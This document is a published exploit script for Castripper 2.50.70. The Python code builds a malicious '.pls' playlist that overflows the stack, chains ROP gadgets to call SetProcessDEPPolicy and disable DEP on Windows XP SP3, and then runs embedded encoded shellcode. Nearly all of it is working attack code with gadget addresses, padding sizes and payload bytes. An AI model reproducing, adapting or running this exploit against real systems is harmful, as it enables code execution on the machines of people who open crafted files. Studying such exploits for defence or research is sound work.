Castripper 2.50.70 – ‘.pls’ DEP Bypass
# Castripper 2.50.70 (.pls) exploit (Stack buffer overflow/DEP bypass) # Download: http://www.mini-stream.net/castripper/ # Tested on Wind0ws XP SP3 DEP:OptOut # Author: Lu_c_fer ------>>> Lu_c_fer@aol.com # All ROP gadgets are from the APP's DLLs except for the hardcoded SetProcessDEPPolicy() address import struct f = open("Eploit_SetProcessDEPPolicy.pls", "w") crash = "\x41"*26076 rop = struct.pack("<I", 0x10010e0d) # POP EDX # RETN rop += struct.pack("<I", 0x42424242) # junk rop += struct.pack("<I", 0x42424242) # junk #-----------------------Setting the pointer into EBP--------------------- rop += struct.pack("<I", 0x1003c03c) # POP EBP # RETN rop += struct.pack('<L', 0x7c862144) # PTR to SetProcessDEPPolicy() #-----------------------EBX is will be 0x00000000 rop += struct.pack('<L', 0x1001ab37) # POP EBX # RETN [CRfilter03.dll] rop += struct.pack('<L', 0xFFFFFFFF) # 0x00000000 rop += struct.pack('<L', 0x10010f68) # INC EBX # CMP BYTE PTR SS:[EBP+5B],BL # RETN rop += struct.pack('<L', 0x10023b57) # POP EDI # RETN [CRfilter03.dll] rop += struct.pack('<L', 0x10041e68) # skip 4 bytes [CRfilter03.dll] rop += struct.pack('<L', 0x10010fb5) # POP ESI # RETN rop += struct.pack('<L', 0x10041e68) rop += struct.pack('<L', 0x1001e4e0) # PUSHAD # RETN [CRfilter03.dll] sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41") junk = "\x43"*5000 payload = crash + rop + sc + junk f.write(payload) f.close() |